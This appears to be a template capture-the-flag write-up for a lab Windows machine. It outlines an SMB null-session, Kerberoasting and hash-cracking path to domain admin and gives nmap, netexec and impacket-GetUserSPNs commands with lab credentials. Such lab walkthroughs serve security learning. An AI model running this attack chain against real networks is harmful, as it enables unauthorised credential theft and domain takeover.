Example Retired

Anonymous SMB leaks a user list, one account is kerberoastable, and the cracked service account is a local admin.

Category
machine
OS
windows
Difficulty
easy
Released
Retired
Techniques
Tools
nmap, netexec, impacket, hashcat

Attack path

flowchart LR
  A[SMB null session] --> B[User list]
  B --> C[Kerberoast svc_sql]
  C --> D[Crack TGS]
  D --> E[Local admin -> Domain admin]

Recon

nmap
nmap -sC -sV -p- --min-rate 5000 10.10.11.100

nmap output

Note

Port 445 is open and signing is not required.

Foothold

Terminal window
netexec smb 10.10.11.100 -u '' -p '' --shares

Privilege escalation

Terminal window
impacket-GetUserSPNs example.htb/jdoe:Password1 -dc-ip 10.10.11.100 -request